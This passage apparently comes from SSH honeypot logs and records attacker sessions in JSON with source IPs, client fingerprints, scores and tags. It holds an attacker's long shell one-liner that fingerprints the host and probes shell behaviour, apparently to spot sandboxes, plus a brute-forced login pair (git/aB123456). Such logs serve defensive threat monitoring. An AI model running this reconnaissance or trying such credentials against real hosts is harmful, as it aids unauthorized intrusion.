    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
109.160.32.139
2026-10-11 03:43:23.534004 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: git / aB123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: e56ade65502d
Client Version: SSH-2.0-Go
Engagement Duration: 1.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "e56ade65502d",
  "src_ip": "109.160.32.139",
  "start_time": "2026-10-11T03:43:23.534004Z",
  "end_time": "2026-10-11T03:43:25.099665Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "aB123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}